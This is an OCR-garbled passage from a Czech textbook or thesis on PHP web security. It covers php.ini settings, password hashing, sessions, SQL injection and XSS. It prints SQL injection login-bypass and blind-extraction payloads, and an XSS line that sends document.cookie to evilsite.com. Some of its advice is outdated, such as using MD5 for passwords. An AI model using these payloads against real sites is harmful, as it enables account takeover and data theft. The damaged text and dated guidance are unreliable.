Timto je jeho instalace dokoncena. Ted je tfeba PHP nastavit. K tomuto ucelu slouzi
konfigura¢ni soubor php.ini. ktery je umistén v kofenovém adresaii php5. Soubory php.ini

jsou v adresati dva. Je tieba vybrat php.ini-recommended a pfejmenovat jej na php.ini.
Tento soubor Ize otevfit naptiklad v poznamkovém bloku systému windows.
Nyni k jeho Gpravam.

Prvni direktivou, kterd se tyka bezpecnosti php je safe mode. Tato direktiva mize
nabyvat dvou hodnot, On, nebo Off. Pokud je safemode zapnuty, PHP kontroluje, je-li
vlastnik béziciho skriptu vlastnikem souboru, s nimZ se ma manipulovat. Tato direktiva je

od PHP 5. vypnuta a od verze PHP6 je zruSena. Diky této direktivé je ,,neptijemné*

omezena manipulace se soubory. V referencni ptiruc¢ce jsou uvedeny funkce, které jsu

touto direktivou zakazany"'.

Jinym feSenim je diraktiva open basedir. Direktiva open basedir slouzi k
zamezeni pfistupu mimo zadany adresaf a spolu s direktivou disable functions,
ktera jiz podle ndzvu dokéaze zakazat funkce, které by uzivatel nemél pouzivat, mize vést

k lepSimu zabezpeceni.

7 http://www.php.net/manual/en/features.safe-mode.functions.php
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Dalsi direktivou je je magic quotes gpc, kterd zafidi, ze se vSechny nebezpecné

znaky escapuji a neni tfeba pouzit funkci addslashes () . Diky této direktivé se vSak

zpomaluje vakonavani skriptu. Dalsi informace jsou uvedeny v kapitole o XSS.

register globals zplsobuje, ze z dat, ktera se pfijmou od uZzivatele, se automaticky
vytvoii globalni proménné, coz pii Spatné inicializaci vlastnich proménnych mize vést k
podstréeni jejich hodnot. Z tohoto diivodu by meéla byt direktiva nastavena na Off. Ptistup
k proménnym je sice pracnéjsi, ale skript je pak bezpecné&jsi.

PHP obsahuje fadu rozsiteni, ktera je nutna nejdiive nacist a poté povolit. K prvnimu
kroku slouZzi direktiva extension dir kterd nastavuje cestu k adresari, kde jsou

umisténa rozsifeni. V piipad¢ této prace by cela cesta vypadala nasledovné:

C:/web/prog/php5/ext/

Druhym krokem je povoleni téchto rozsifeni. To se provede prostym odkomentovanim

(smazanim stfedniku) daného rozsiteni.
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5 KRATCE O...

V této kapitole bude kratce shrnuto nékolik zdkladnich bodti zabezpeceni tykajicich se
pfevazené soukromi uzivateli na internetu a samoziejm¢ bude také uvedeno mnozstvi
odkazi jak na odborny text na internetu tak i na tistény. Nasledujici informace se budou
tykat uchovavani uzivatelskych informaci, jejich zabezpeCeni a porovnavani pfi
autentizaci. Dale bude stat’” obsahovat navod pro tvorbu bezpecného hesla a kratké

objasnéni hashovacich algoritmtit MD5 a SHA1.

5.1 Uzivatelska data

Pfi vstupu na, prakticky, jakoukoli internetovou stranku se setkdvame s pfihlaSovacimi
formuléfi. Zalezi na typu a rozsahu aplikace kolik dat po uzivateli pozaduje. Jako priklad
bude uvazovana ta nejjednodussi varianta, a to pfihlasovaci jméno a heslo. V databazich se
samoziejmé uchovava velké mnozstvi dat, z nichz néktera mohou byt pro dané¢ho uzivatele

i citliva. Pro jednoduchost vSak byla zvolena vySe uvedena moznost.

Jak je patrné z ptedchozich stran, bude, v tomto ptipad¢, pro uchovavani uzivatelskych dat
pouzita MySQL databaze. Divod je ten, Ze je prakticky na kazdém webhostingu je
v kombinaci s PHP dostupna.

Prvnim krokem pfi vytvafeni U¢tu na jakémkoli webu je z pohledu uZivatele vybér

uzivatelského jména a prihlasovaciho hesla.

Tip
Vymyslejte heslo tak, aby bylo co nejhiife uhodnutelné (jména, data...), ale na

druhou stranu snadno zapamatovatelné.

5.1.1 Tvorba kvalitniho hesla

Heslo by mélo byt slozeno z malych a velkych pismen, €islic a specidlnich znak, kterymi
mohou byt napiiklad @, #, nebo $. Heslo by mélo byt dobie zapamatovatelné, aby nebylo
tieba si jej n€kam zaznamendvat (v opacném piipadé¢ 1ze hesla ukladat pomoci specialnich
programu a pluginti pro prohlizece) a mélo by byt snadné jej zadat. Co se tyce délky, mélo

by mit alesponl 8 znaki, Coz se zda byt dostatecné.
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Nize je uveden postup pro tvorbu silného a kvalitniho hesla.

e Vymyslete dobfe zapamatovatelnou frazi (Je mi dvacet pét a uz zapominam)
e Z prvnich pismen slov sestavte heslo (jmdpauz)

e Nahrad’te n¢ktera pismena (alespon jedno) ¢islicemi (jmdSauz)

o Stiidejte mala a velka pismena (JmD5AuZ)

e Nahrad’te n¢které znaky hesla specialnimi znaky (JmD5@uZ)

Takovéto heslo je dostacujici a dobfe zapamatovatelné. Pomoci postupu jej dokdzete vzdy
slozit, pokud si jej nezapamatujete. Staci si tedy pamatovat vétu, ze které je heslo
vytvoieno.
Pro ,,odstrasujici* ptiklad je zde uvedeno nékolik ptikladi, jaké by heslo byt nem¢lo.

e Jméno blizké osoby, obliben4 hudebni skupina, datum narozeni... (Anna,

Manowar, 25.5.1999)
e Sledy pismen na klavesnici (qwerty, 12345 ...)
e Priklady spravnych hesel...

Je také dobré védet jak s hesly zachéazet a proto nasleduje nékolik rad.
e Neukladejte hesla v oteviené podobé (fyzicky ¢i elektronicky)
e Nesdélujte heslo nikomu jinému
e Heslo by nemélo byt nikndy pfenaseno v oteviené podobé
e Pfi kompromitaci heslo ihned zméite
e Pouzivejte system pro spravu hesel, mate-li jich vice

e Obménujte heslo

Pomoci téchto tipi lze vytvaret bezpe¢na hesla a bezpecné s nimi nakladat. Uvazujme
tedy, Ze uZzivatel aplikace ma kvalitni heslo a zamé&fme se na to, jak ttato data bezpecné

ulozit.

5.1.2 Uchovavani uzivatelskych dat

Jak bylo naznaceno vyse, bude se jednat o ukladani uzivatelskych dat do MySQL databaze.
Dlvodem ukladani do databazi je to, Ze jsou pfimo za timto ucelem uchovavani dat
navrhovany a optimalizovany. Znamena to, ze jsou relativné dobie zabezpecCené pied

neautorizovanym piistupem.
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Tip

Nikdy neuchovavejte hesla a jiné citlivé idaje v databazi v Cistém (Citelném) tvaru

Pokud se uto¢nikovi podaii ziskat kompletni obsah tabulky uZzivateld, jest¢ to neznamena,
ze se bude moci piihlasit pod vaSimi udaji.
Je samoziejm¢é mozné naprogramovat vlastni funkce pro zaSifrovani hesel, avsak PHP ma

jiz implementovéany jednosmérné hashovani algoritmy. Témi jsou MDS5 a SHA1

Co jsou MD5 a SHA1 algoritmy*®?

MD5 (Message-Digest Algorithm 5) algoritmus byl vytvofen profesorem Ronaldem L.
Rivestem v roce 1991. Princip je takovy, Ze, tento jednosmérny hashovani algoritmus, jako
argument prebira fetézec libovolné délky a vytvari 128-bitovy (32-znakovy) hash tohoto
fetézce. Pro zajimavost, odrobnéjsi popis 1ze nalézt na internetu®®. Nejlepsim vysvétlenim
je v8ak prakticky ptiklad.

V PHP je ptimo implementovéna funkce MD5 () “°, jejimz argumentem je pravé zadany
fetézec.

Priklad:

<?php

Sstr = 'Jjablko';
echo ("MD5: ") ;
echo (md5 ($str)) ;
>

Vystupem tohoto piikladu tedy podle vysSe uvedeného bude:
MD5: 7£51fa935071clf7bc4ddlbf28bal3f3

SHAI algoritmus byl sestaven v roce 1995 Americkym Narodnim Gfadem pro bezpecnost
(NSA) a je postaven na stejnych principech jako MD5 s tim rozdilem, ze generuje 160
bitovy (40-ti znakovy) hash.

'8 http://www.secure-hash-algorithm-md5-sha-1.co.uk/index.htm
9 http://www.fags.org/rfes/rfc1321.html
2 http://cz.php.net/md5
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Priklad:

<?php

Sstrl = 'Jjablko';
echo ("SHA1: ") ;
echo (shal ($strl)) ;
>

Vystupem tohoto piikladu tedy podle vyse uvedeného bude:
SHAl: 581de384372aa5857b217d57£63d842ed0af8033

Kritka zminka o SSL* a HTTPS

Protokol SSL (Secure Sockets Layer) poskytuje bezpecné Sifrované propojeni mezi
sluzbou NNTP a klientskym pocitacem. Lze jej pouzit k ochrané soukromych informaci v
situacich, kdy se uZzivatelé ptipojuji ptes vefejnou sit’, napiiklad Internet.

Adresa stranky zabezpecené protokolem SSL (tedy s Sifrovanym spojenim) za¢ina https://.
Mnohdy je zabezpeceni indikovano prohlizecem (Opera v adresnim tadku, Internet

Explorer ve stavovém).

Pribéh ustaveni SSL spojeni:

1. Klient posle serveru pozadavek na SSL spojeni, spolu s riiznymi dopliiujicimi
informacemi (verze SSL, nastaveni Sifrovani atd.).

2. Server posle klientovi odpovéd’ na jeho poZadavek, ktera obsahuje stejny typ
informaci a hlavné certifikat serveru.

3. Podle pfijatého certifikatu si klient ovéii autenti¢nost serveru. Certifikat také
obsahuje vetejny kli¢ serveru.

4. Na zaklad€ dosud obdrZenych informaci vygeneruje klient zaklad Sifrovaciho klice,
kterym se bude kodovat nasledna komunikace. Ten zakoduje vefejnym kli¢em
server a posle mu ho.

5. Server pouzije sviij soukromy kli¢ k rozsifrovani zakladu Sifrovaciho klice. Z
tohoto zakladu vygeneruji jak server, tak klient hlavni Sifrovaci klic.

6. Klient a server si navzajem potvrdi, Ze od ted’ bude jejich komunikace Sifrovana

timto klicem. Faze ,,handshake® timto kon¢i.

2! http://www.openssl.org/
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7. Je ustaveno zabezpecené spojeni Sifrované vygenerovanym Sifrovacim klicem.

8. Aplikace od ted’ dal komunikuji pies Sifrované spojeni. Napiiklad POST
pozadavek na server se do této doby neodesle. BEZPECNOSTNI HROZBY A
JEJICH PRVENCE

5.2 Prenos informaci mezi ¢astmi aplikace

Nyni je jiZ znamo, jak bezpecné& ulozit uZivatelska data do ulozisté, databaze MySQL.
Nasledujici text se bude zabyvat také ukladanim dat, ale tentokrat docasnym, pomoci
session a cookies. Jak tedy tento pfenos zabezpecit a ochranit tak, aby byl uzivatel chranén
pted zcizenim jejich dat bude néplni nasledujici kapitoly.

Uzivatel je tedy zaregistrovan a piihlasen. Informace o jeho pfihlaseni je tedy mezi
strankami, kterymi prochazi, nutné uchovat, to napiiklad kvili opravnéni pfistupu do
skrytych casti webu. Jelikoz uklddani téchto informaci do cookies nebo prendset
v adresovém ftadku, jako parametr, neni bezpecné, pouzivaji se tzv. relace (sessions).
Princip je takovy, Ze server vygeneruje SESSIONID, unikétni identifikator relace, ktery je
pridélen danému uzivateli a ktery je pfedavan s kazdym pozadavkem tohoto uZzivatele.
Server si udrzuje databazi aktivnich SESSIONID a uzivatele tak identifikuje.
SESSIONID je generovan tak, aby byl co nejhiife odhadnutelny, proto se pro n¢j pouziva
nejcastéji MDS5 hash. Tento hash je pak uloZen v proménné PHPSESSID (coZ je implicitni
nazev proménné v php.ini) a je mozné jej pfeddvat dvéma zpisoby, které, jak bylo
naznaceno vyse, by nebyly bezpecné. Témito zplsoby jsou cookies a predavani parametru

piimo v URL.

NI o .22 . Cv 1 , . o
Bézné se pouziva cookies”™ a jako ndhradni feSeni, v pfipadé vypnutych cookies, se pouzije

prave prenos skrz URL.

Pro vytvofeni relace v PHP se pouziva funkce session start () a méla by byt
umisténa pred jakymkoli kédem, ktery se objevi na strance. Provedenim této funkce se
vytvoii pole $ SESSION, do kter¢ho lze ukladat libovolné proménné (naptiklad ID

uzivatele, jeho opravnéni, atd.)

22 http://cz.php.net/manual/en/ref.session.php
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Priklad pouZiti session start ()

Aby session nezistala aktivni i po zavieni okna prohliZzece, je z bezpecnostnich divodi

vPHP i funkce session regenerate id (), kter nahrazuje stavajici SESSTONID.

Tuto funkeci je dobré volat pti vstupu do privatnéjSich ¢asti webu.
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6 NEJCASTEJSI UTOKY NA WEBOWE APLIKACE

6.1 Kradeni session

Minulé podkapitola pojedavala o pienaseni udaji o uzivateli mezi jednotlivymi strankami
aplikace. Nyni bude vysvétleno, jakym zpiisobem piendsené udaje, a nejen ty, zcizit. A

nasledné, jak se proti zcizeni branit.

Protokol HTTP je sice bezstavovy, je tfeba prendSet urcitopu formu stavii mezi

jednotlivymi strankami. Jak bylo popsano vyse toto se realizuje pomoci sessions.

Mechanismus session sam o sob& nema zddné zabezpeceni, proto je na programatorovi,
aby zajistil odpovidajici zabezpeceni. Diive nez bude vysvétleno jakym zplisobem je
mozné identifikatory zabezpecit, je tieba si vysvétlit, jakym zplisobem je zcizit.

Cilem utoku je tedy ziskat identifikator relace a vyuzit jej pro podvrzeni identity (pfistup k
ptfihlasovacim tdajim...).

Prvnim zpisobem, jak zjistit takzvané SESSIONID je, odposlouchavat odeslané packety23.
Ukazme si ale jak zjistit identifikator pomoci PHP. Tato akce probiha tak, Ze uto¢nik
podstrci obéti odkaz (na foru, na chatu), naivni obét’ se podiva na odkaz, ¢imz prohlizec¢
pfeda scriptu na uto¢nikove serveru tzv. refer, neboli adresu, ze které obét’ ptiSla a pomoci
proménné $ SERVER['HTTP REFERRER'] uto¢nik vycte kompletni URL a s ni
samoziejmé i identifikator session (pokud je pfedavan metodou GET). Toto je ovSem
bezpecnostni chyba serveru.

Druhou moZnosti ziskéni session je ziskyni session pomoci Javascriptu na stejném principu

jako moZnost prvniZ425.

Jakym zplisobem se tedy branit? Mechanismus session je mozné vazat na [P adresu
pocitace, coz neni Upln¢€ nejlepsi zpiisob ochrany(IP se miize béhem relace méenit). Ale
pfesto tato moznost existuje. Jinou moznosti je pfesmérovani. Pokud se na chatu(foru)
objevi odkaz, je doporuceno jej nechat oteviit v novém okné, ¢imz se zméni refer a zmizi
tedy i session ID. Utoénikovi je tak refer k nic¢emu. Tento utok je kombinovan, nebo 1épe

feceno, uzce souvisi s itokem XSS, ktery bude popsan nize

2 Hacking bez tajemstvi
2 http://www.security-portal.cz/clanky/advanced-session-stealing-cast-1
% http://www.owasp.org/index.php/Session_hijacking_attack
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6.2 SQL Injection

Druhym ze zékladnich typi utoku na webové aplikace, a to

konkrétn¢ na jejich databaze je utok SQL Injection. Jeho princip p

spoCiva v umyslném podvrzeni vstupnich dat, kterd jsou gf v
s , o “« v d, =
odesilana serveru takovym zptisobem, aby byl zménén vysledek %

SQL dotazu. Chyba kterou tento utok vyuziva je nedostatecné,

nebo zadné zabezpeceni vstupul.

Tip

Je dobré tvorit skripty tak, aby pri vyskytu néjaké chyby, podavaly co nejméné
informaci o strukture vaSich databazi a tabulek. Jinou mozZnosti je také vyvolat pri
vzniku chyby skript, které je zavisly na IP adrese, ¢ili zobrazi chybu jen na pocitaci

administratora.

V nasledujicim textu bude, mimo hrozeb a naopak nehrozicich problémi, uvedeno nékolik
pfipadl pro pochopeni principu tohoto Gtoku. Ve druhé ¢asti bude vysvétleno, jak je

mozné se proti SQL Injection branit.

Nebezpedi, ktera hrozi jsou v podstaté dvé.

o Utocnik miize ziskat pfistup k citlivym datiim ulozenym v databazi (skryté emaily,
ptistupové tdaje...)
e Piistup k administratorskému uctu, pokud néjaky existuje (i ke v§em ostatnim,

uzivatelskym, ¢tiim)

Co nehrozi

e PHP nepovoluje vykonavani nékolika SQL dotazl v jednom volani funkce
mysql_query(), takze tim odpadé problém s fetézcem typu '; truncate tabulka; -
provadi se vSe, co se nachazi pted prvnim stfednikem mimo hodnoty sloupci.

e V MySQL neexistuje nic, co by mohlo zavolat externi aplikaci jako je tomu
naptiklad u Microsofti alternativy MSSQL, takze odpada spousta dalSich
potencialné nebezpecnych dotazd.

e zobrazeni zdrojovych kodi - pokud neni v databazi ulozeny kod, ktery se pak

pomoci eval() provadi
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Na zacatku je jesté dobré upozornit, ze MySQL neumozinuje kombinovat riizné typy
dotazi, jak je uvedeno vyse. Pokud tedy ptivodni dotaz obsahuje ptikaz SELECT, pak je
mozné pouzit v druhém piikazu jen a pouze SELECT (z bezpecnostnich davodit). Druha
nezpecnostni pojistka je v samotném PHP. Pomoci Php neni mozné zpracovat vice nez

jeden dotaz. Pro ptiklad je nize ucedena ¢ast kodu, kterd nebude fungovat

SEEECT *—FROM—uzivatel; SELECT = FROM—administraters

Prakticky na kazdych webovych strankach, pokud nejsou uplné statické, jsou umistény
ptihlasovaci formuléfe a rtizné jina formulafova pole, kterd po po vyplnéni a zpracovani
komunikuji s databazi, cuz je zékladni pfedpoklad pro SQL Injection. Pomoci vloZeni kodu

do téchto formularovych poli lze zjistit, jestli jsou tyto dostatecné zabezpeceny, a pokud

ne, vyuzit této bezpecnostni diry pravé k SQL Injection.

Prvni praktickou ukazkou bude napadeni aplikace skrz ptihlasovaci formulaf.

Prvnim krokem je tedy, zjistit, zda jsou formulare proti Gitoku odolné. Toto se d& provést
tak, ze do se formulaie zada apostrof (). Pokud se po odeslani formulate zobrazi chyba

podobna této:

Warning: mysqgl fetch assoc(): supplied argument is not a
valid MySQL result resource in /www.testweb.cz/www/login.php
on line 43

Znamena to, ze je aplikace nachylna k SQL Injection.
Klasicky dotaz do databaze pifes PHP by mohl vypadat napiiklad takto:

mysgl query ("SELECT * FROM users WHERE
login = '$ POST[login]' AND pass = MD5($ POST[pass])");

V nejhors§im piipadé naptiklad takto:

mysqgl query ("SELECT * FROM users WHERE

login = 'S POST[login]' AND pass = 'POST[pass]')"):;

Rozdil je ten, ze v druham piipad¢ se pienasi heslo v naprosto nezabezpecené podobe. To
znamena, Ze jsou data v databdzi uloZena v Cistém textovém tvaru(plain text) Co se tedy
stane, umisti-li se do formularového pole vySe zminény apostrof. Dotaz do databaze dorazi

V nasledujicim tvaru:
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SELECT * FROM users WHERE

login = '"'' AND pass = ''

Lichy pocet apostrofui zptisobi chybu, podobnou té, ktera je uvedena vyse. Bylo tedy
zjisténo, ze aplikace je nachylna k atoku. Dal$im krokem potencionalniho uto¢nika by

mohlo byt umasténi nasledujiciho kédu do formulafového okna login.

' OR 1=1--

Dotaz tedy bude vypadat takto:

SELECT * FROM users WHERE

login = '"' OR 1=1--

Za loginem, je logick4 podminka, OR 1=1, ktera je vzdy splnéna a dvé pomlcky slouzi
jako jednotadkovy komentar SQL, ¢ili vSe, co je za nimi se vypusti. Tento fadek

V nezabezpeceném logovacim formulafi zpiisobi, ze se testovani hesla uplné vypusti a
utocnik bude ptihlaSen na prvni ucet, ktery je umistén v databazi (Casto to byva prave ucet

administratora).

Takovychto podminek(bypassi), které se daji k tomuto tcelu pouzit existuje cela fada.

Nize je pro nazornost uvedeno nékolik piiklada.

e ORI1=1--

e "orl=l1--

e "OR"a"="a
e "or(a='a

e 'or'a'="a
Druhym zpisobrm muze byt napiiklad vyuziti umisténi MySQL piikazu do adresy URL.

M¢jme proptiklad imaginarni web www.testweb.cz. Tento web ma ulozeny v databazi
MySQL clanky, ptihlasovaci jména uzivatell a jejich hesla. URL adresa, kterd prenasi
informaci o tom, ktery ¢lanek se ma z databaze vyzvednout by mohla vypadat napiiklad

takto:


http://www.testweb.cz/
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http://www.testweb.cz/index.php?article=5

Dotaz do databaze by tedy mohl vypadat nasledovné:

SELECT * FROM article WHERE articleid = S$Said

Za ptedpokladu, ze vstup neni oSetien a parametr URL adresy se ulozi ptimo do prménné

Said je mozné pouzit stejnou logiku jako v predchozim ptipadé. Tedy vyuzit ,,bypass®.

V dal$im kroku by tedy adresa URL vypadala takto:

http://www.testweb.cz/index.php?article=5 OR 1 = 1

V ptipad¢, ze by byl vstup zabezpecen, stranka by se neméla zobrazit. V opa¢ném piipade,
protoze podminka 1 =1 je splnéna vzdy, se stranka zobrazi beze zmény. Nyni je tieba
URL jesté pozménit, aby bylo jisté, Ze web neni proti tomuto Gtoku odolny. V piipadé ze

URL bude vypadat takto:

http://www.testweb.cz/index.php?article=5 OR 1 = 0

by se ¢lanek nemél zobrazit viibec.

V tuto chvili je jisté, Ze do URL lze vkladat jakykoli SQL kod. Po tomto zjisténi je mozné
zjistit piihlaSovaci udaje uzivateld aplikace testweb. A by bylo mozné zjistit tyto tdaje, je
tteba znat nazvy tabulek, v kterych jsou udaje umistény. To lze n€kolika zpiisoby. Pokud je
systém postaveny na nékterém CMS, daji se zjistit nazvy tabulek staZenim zdrojovych
kodt a jejich prohledanim. Administrator by sice mél nazvy tabulek no instalaci takového
CMS zmenit, ale vzdy tomu tak neni. Druhou moZnosti je vyzkousSet ndzvy tabulek, které
logicky vyplyvaji z dat, ktera jsou v nich uloZena(usr, users, ... ) . Pokud nepomuZe ani toto

feSeni je tfeba je né¢jakym zplisobem odhadnout.

O spravnosti ndzvu tabulky se pfesvéd¢ime nasledujicim dotazem dosazenym do

adresovaho fadku prohlizece.

OR 1=(SELECT COUNT (*) FROM nazev_ tabulky)

Cely radek pak bude vypadat takto

http://www.testweb.cz/index.php?article=5 %200R %201= (SELECT
COUNT (*) %20FROM %20nazev_tabulky)


http://www.testweb.cz/index.php?article=5Dotaz
http://www.testweb.cz/index.php?article=5Dotaz
http://www.testweb.cz/index.php?article=5Dotaz
http://www.testweb.cz/index.php?article=5Dotaz
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Pokud se podaftilo nazev tabulky spravné¢ odhadnout, nestane se nic a stranka z@stane
nezménéna. Pokud je odhad $patny MySQL server vrati chybu, pfipadné se obsah ¢lanku

op¢t nezobrazi.

Déle je tfeba najit jména sloupcti, které obsahuji zadané udaje. Postup by byl stejny, jako

pfi hledani ndzvu tabulky.

V piipad¢ imaginarniho webu www.testweb.cz jsou sloupce feknéme user_id a passwd.
Nyni je tfeba ,jen vycCist jaka data jsou ve sloupcich uloZena. K tomu muze slouzit
naptiklad finkce SQL MID (). Tato funkce exhtrahuje zfetézce podietézec. Jejimi

parametry jsou poc¢atecni pozice a délka podietézce.
Pro ndzornost je dale uveden priklad:

SELECT MID (user id,1,3) FROM users LIMIT 1

V piipadé¢ ze by jméno vytazené z databaze bylo Ondrej vrati tato funkce Ond.

Cili pomoci této funkce je mozné pfijit na vyextrahovat jedno pismeno po druhém z dané
buniky tabulky. A dale jej porovnavat se znaky pomoci funkce CHAR (). V uvedeném

piikladu je porovnavano, zda se jeden znak na prvni pozici rovna pismenu ,,0*.

SELECT * FROM articles WHERE articleid = 5 AND MID( (SELECT
user id FROM users
LIMIT 0,1),1,1)=CHAR(111)

Jinou moZnosti jak porovnavat znaky je naprogravat vlastni skript, nebo pouZit jiz

vytvofeny nastroj.

Timto zplsobem je tedy také mozné provést SQL Injection. MoZnosti je samoziejmé vice,

zaleZi na dané aplikaci, jejim zabezpeceni a napaditosti Gto¢nika, ktery tento utok provadi.

V nasledujici ¢asti bude popsano neékolik obecnych tipti jak se uspé€sné vyhnout této

bezpecnostni hrozbé, kterd vyvojaii amatéry opomijena.


http://www.testweb.cz/
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Bezpecnostni tipy proti SQL Injection

e Nikdy se neda véfit vstuptim do aplikace, proto je nutné je zabezpecit. Zabezpecte

vSechna textova pole.

e Nevyuzivejte dynamického sklddani dotazti, pouzivejte parametrizované dotazy,

nebo ulozené procedury.
e Nikdy nedovolte aplikaci, aby pfistupovala do databaze s administratorskymi

pravy. Vyuzivejte omezenych pfistupovach prav pro pfipojeni k databazi.

e Neukladejte hesla a citiva data jako Cistty text, Sifrujte, nebo hashujte tato data data.

e Neposkytujte prilis§ mnoho informaci, pokud mozno zadné, formou chybovych

zprav a hlaSeni. Fixujte tyto zpravi naptiklad na konkrétni IP adresu

Ochrana proti SQL Injection

Jak jiz bylo naznaeno vyse, nejlepsi ochranou proti tomuto utoku je oSeteni veskerych

vstupti do databaze. A to napiiklad escapovanim nebezpetnych znakil. Redeni je tedy

velmi jednoduché. Pred kazdym uloZenim dat do databaze je tfeba odstranit znaky, které

by mohly zptsobit chybu, nebo jiné skody.

Jednoduchym a elegantnim feSenim je tedy pouzit PHP funkci, kterd pfed nebezpecné

znaky dosafi zpétné lomitko(backslash, \). Tato funkce se jmenuje

mysgl real escape string/()

<?php
// Pripojeni k databazi
$link = mysqgl connect('mysqgl host', 'mysqgl user',
'mysgl password')
OR die (mysgl error());

// Dotaz
Squery = sprintf ("SELECT * FROM users WHERE user='%s' AND
passwd="'%s'",
mysgl real escape string(Suser),
mysgl real escape string($password)) ;
?>
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Na internetu je mozné¢ nalézt mnoho navodd, které doporucuji naptiklad funkce
addslashes()?®. K tomu je tfeba mit aktivovanou direktivu magic_quotes_gpc, ktera viak
proti Injectin nechréni, i kdyZ je mozné se tuto informaci napiiklad na internetu docist.
Tato direktiva bude od Sesté verze PHP zrusena. Od verze PHP 5.3 je standardné vypnuta.
Funkce mysql_real_escape_string() vsak oSetiuje vSechny problémové znaky, které jsou
pro MySQL typické. Navic, na rozdil od addslashes(), zohlediluje i znakovou sadu
(kodovani). Funkce mysql_real_escape_string()?’ oSetfuje viechny problémové znaky,
které jsou pro MySQL typické. Navic, na rozdil od addslashes(), zohledniuje 1 znakovou
sadu (kodovani). Jak bude tedy vypadat znaky pouzitelné pro SQL Injection po prichodu
funkci mysql_real_escape_string()? Budo vypadat takto:

v —> \v
"o \n
\=> \\

Zaru¢enou obranou proti SQL Injection je tedy upravovani vSech vstupt, které putuji do
databaze. Tato ochrana by méla probéhnou az na strané serveru, Cili je tfeba vstupy
zabezpecit pomoci PHP. Prvotni kontrola mtze probéhnout jiz na stran¢ uZzivatela a to
naptiklad pomoci JavaScriptu. To v8ak mé spiSe informacni charakter, pro uzivatele, ktefi
nechtéji specialni znaky zneuzit. MoZnost vyzkouSeni nabizi aplikace safeweb.cz?®

Timto jsou byly oSetfeny vstupy do aplikace, nyni je tfeba oSetfit také vystup. Klasickym

ptipadem napadeni vystupu aplikace je takzvany Cross Site Scripting, neboli XSS.

2 http://cz.php.net/manual/en/function.addslashes.php
2" http://cz.php.net/mysql_real_escape_string
% http://safeweb.cz/testy/sqlinjection/
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6.3 Cross Site Scripting (XSS)

XSS (Cross Site Scripting) je jednou z nejrozsitenéjsich zranitelnosti

souCasnych webovych aplikacich. Ma na svédomi obrovské

mnozstvi chyb, vad a zneuziti, které¢ se denné zvetejnuji a probiraji v
konferencich o bezpecnosti. I kdyz se néktefi lidé domnivaji, ze XSS
je mizernou technikou, kterou vétSinou pouzivaji za€inajici crackeri,

neni tomu tak.

Jelikoz tento typ utoku vyzaduje pouze prohlizec, zékladni model utoku je docela prosty,
nicméné pokrocily utok vyzaduje dobrou znalost skriptovacich jazyki a dynamickych
webovych stranek. K tomuto Gtoku se vyuziva skriptovacich jazyki.Napiiklad JavaScriptu.

Jelikoz tento jazyk nebyl popsan, je na CD.

Jadrem XSS je také Spatn¢ oSetieny vstup do aplikace, ale vysledek se projevi az na
vystupu. Princip je v tom, Ze pfes neoSetfeny vstup do aplikace vloZime ¢ast kodu ktera se
na vystupu aplikace provede. Jinymi slovy se tento Skodlivy kod vlozi pfimo do kodu

stranky. Cilem takového utoku jsou naptiklad straky, které obsahuji:

e navstévni knihy;

o fora;

e soukromé zpravy;

e blogy;
Pro lepsi pochopeni problematiky byl vytvotfen skript v PHP, ktery umoziuje vloZeni
Skodlivého kodu do stranky. Je to z toho divodu, Ze na piikladu je vSe vidét 1épe. Aby si
tento utok mohl ctenar vyzkousSet, je tento kod ptilozen na CD. Pro otestovani je nutné
soubor xss.php vlozit do documentrootu nainstalovaného serveru.
Po zobrazeni v prohliZeci se zobrazi dvé formulafova pole, do kterych je mozno zadat
libovolny text. Tato jsou metodou GET zaslana zpét do skriptu xss.php a bez jakéhokoli
oSetfeni vepsana do stranky. V béznych aplikacich se udaje poslané z formulari ukladaji
do databdze, ale pro pochopeni problematiky tento skript staci.
Je tfeba se zamé&fit na na proménné, jejichZ obsah se dale vepisuje do stranky nésledujicim

zpusobem:
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Stext = $ GET['text'];
$title = § GET['title'];

echo '

<h3>Vase nove zpravy:</h3><br />
<b>'.Stitle.'</b>

<br />

'.Stext.';

Jak je vidét z ukazky kodu, vse co se pienese v proménnych $text a $title se v nezménéné
podobé¢ zobrazi na strance.

K zakladnimu otestovani nachylnosti stranky na XSS staci vlozit do formuldfového pole
jednoduchy script:

<script>alert ("XSS");</script>

Kod se nyni ulozi do tranky a provede se. Prohlizec jej vykon4, jako kteroukoli jinou ¢ast
kodu.

Po odeslani formulafe se tedy zobrazi okno s JavaScriptovou hlaskou.

JavaScript

',--""-_' =localhost>
u'ﬁlp XSS

Zastavit provadéni skriptd této stranky . OK |

Obrazek 21 — XSS: JS alert

Pro nazornost nasleduje jesté vypis zdrojového kodu stranky po zobrazeni alertu.

<html>

<head>

<title>XSS-Test | Nove zpravy</title>
</head>

<body>

<h3>Vase nove zpravy:</h3><br />
<b>titul</b><br />

<script>alert ("XSS") ;</script></body></html>

Utok XSS vsak neni jen uréena k tomu, aby uZivateli zneptijemiiovaly pobyt na strankach
vyskakovaci okna, ikdyz i to mize byt zdmérem. Pomoci JavaScriptu je mozné zjistit 1
citlivé udaje, jako naptiklad data ulozend v cookies, nebo identifikator relace, o kterém

byla fe¢ v kapitole 0 kradeni session.
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Nyni nésleduje ukazka, jak pomoci XSS zobrazit obsah cookie. Ve skriptu je na prvnim
fadku pouzita funkce PHP setcookie (). Provedenim této funkce se vytvoii cookie
S ndzvem xss a v ni bude ulozen text: ,, Tento text je uloZzen v cookie®. Jak je tedy mozné

vypsat cookie?
Do formulare se vlozi kod:

<script >alert (document.cookie) ;</script>

Co se stane. Op¢t vyskoci okno alert, ale tentokrat zobrazi obsah praveé vyuzivané cookie.

Ve ™
JavaScript
o= <localhost>
o ¥ss=Tento+text+je+ulozen+v+cookie
Zastavit provadéni skriptd této stranky ‘ oK

Obrazek 22 — XSS: cookie

To co se prave stalo by nebylo nijak nebezpecné, spis by to uzivatele obtézovalo. Ale poku
je mozné cookie zpobrazit, je mozné ji taky pomoci JavaScriptu odesla, coZ uz nebezpecné

je. Zadanim kodu:

<script>document.location="http://www.evilsite.com/
evilscript.php?info="+document.cookie;</script>

se rrohlize¢ se sam pfesméruje na webové stranky evilsite.com a pfipoji informace o
souboru cookie, ¢imz dojde k neopravnénému ziskani citlivého obsahu. Adresovy fadek

bude vypadat ptiblizné takto:

http://localhost/xss.php?title=titul&text=%3Cscript$3Edocumen
t.location%3D%22http%0DS0AS3AS2FS2Fwww.evilsite.com%2Fevilscr
ipt.php$3F$0DS0AInfo%3D%22%2Bdocument.cookie$3B$3CS2Fscripts3
E&send=odeslat

Tomuto utoku je moZné se jednoduse branit napiiklad pomoci PHP funkce

.....

